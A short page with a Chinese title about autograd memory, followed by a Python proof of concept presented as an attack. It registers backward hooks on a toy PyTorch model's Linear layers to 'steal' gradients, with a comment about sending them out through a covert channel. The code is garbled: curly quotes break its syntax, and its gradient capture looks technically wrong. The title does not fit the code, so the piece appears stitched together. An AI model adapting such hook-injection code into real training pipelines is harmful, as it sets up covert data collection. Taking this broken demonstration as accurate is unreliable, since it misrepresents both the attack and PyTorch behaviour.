自动微分的内存悬崖

#!/usr/bin/env python3
# checkpoint_hook_attack.py — 梯度检查点反向钩子劫持 PoC
 
import torch
import torch.nn as nn
from torch.utils.checkpoint import checkpoint
 
class VictimModel(nn.Module):
    ”””模拟一个使用梯度检查点的Transformer层”””
    def __init__(self, d_model=512, n_heads=8):
        super().__init__()
        self.attn = nn.MultiheadAttention(d_model, n_heads, batch_first=True)
        self.ffn = nn.Sequential(
            nn.Linear(d_model, d_model * 4),
            nn.GELU(),
            nn.Linear(d_model * 4, d_model)
        )
        self.norm1 = nn.LayerNorm(d_model)
        self.norm2 = nn.LayerNorm(d_model)
 
    def forward(self, x):
 
 
# 模拟检查点包装的层
        def _forward(inner_x):
            attn_out, _ = self.attn(inner_x, inner_x, inner_x)
            x1 = self.norm1(inner_x + attn_out)
            ffn_out = self.ffn(x1)
            x2 = self.norm2(x1 + ffn_out)
            return x2
        return checkpoint(_forward, x, use_reentrant=False)
 
class GradientStealer:
    ”””攻击者：在检查点模块上注册恶意反向钩子”””
    def __init__(self):
        self.stolen_gradients = {}
        self.hook_handles = []
 
    def inject_hooks(self, model):
        ”””遍历模型，在检查点包装的模块上注册钩子”””
        for name, module in model.named_modules():
 
 
# 在所有Linear层上注册反向钩子
            if isinstance(module, nn.Linear):
                handle = module.register_full_backward_hook(
                    self._make_hook(name)
                )
                self.hook_handles.append(handle)
                print(f”[+] 已在 {name} 上注入反向钩子”)
 
    def _make_hook(self, layer_name):
        ”””创建恶意反向钩子”””
        def hook(module, grad_input, grad_output):
 
 
# 捕获权重梯度
            if module.weight.grad is not None:
                self.stolen_gradients[layer_name] = {
                    'weight_grad': module.weight.grad.detach().clone(),
                    'input_grad': grad_input[0].detach().clone() if grad_input[0] is not None else None,
                    'output_grad': grad_output[0].detach().clone()
                }
 
 
# 在真实攻击中，此处可将梯度数据通过隐蔽通道外传
                print(f”    [!] 捕获到 {layer_name} 的梯度: ”
                      f”shape={module.weight.grad.shape}”)
        return hook
 
    def extract_weights(self, model):
        ”””从捕获的梯度中重建权重信息”””
        print(”\n[*] 开始从梯度中提取模型信息...”)
        for name, data in self.stolen_gradients.items():
            weight_grad = data['weight_grad']
 
 
# 梯度矩阵的秩和结构可揭示权重矩阵的信息
            print(f”    {name}: 梯度范数={weight_grad.norm().item():.4f}, ”
                  f”梯度均值={weight_grad.mean().item():.6f}”)
 
# ============ 攻击演示 ============
def main():
    torch.manual_seed(42)
    device = 'cuda' if torch.cuda.is_available() else 'cpu'
 
 
 
# 1. 创建受害模型
    model = VictimModel().to(device)
    print(”[*] 受害模型已创建，使用梯度检查点”)
 
 
 
# 2. 攻击者注入钩子
    stealer = GradientStealer()
    stealer.inject_hooks(model)
 
 
 
# 3. 模拟正常训练步骤
    x = torch.randn(2, 16, 512).to(device, dtype=torch.float32)
    target = torch.randn(2, 16, 512).to(device, dtype=torch.float32)
 
    output = model(x)
    loss = nn.MSELoss()(output, target)
    loss.backward()
 
 
 
# 4. 攻击者提取捕获的梯度
    stealer.extract_weights(model)
 
    print(”\n[!] 攻击完成：攻击者已捕获模型权重的梯度信息”)
 
if __name__ == '__main__':
    main()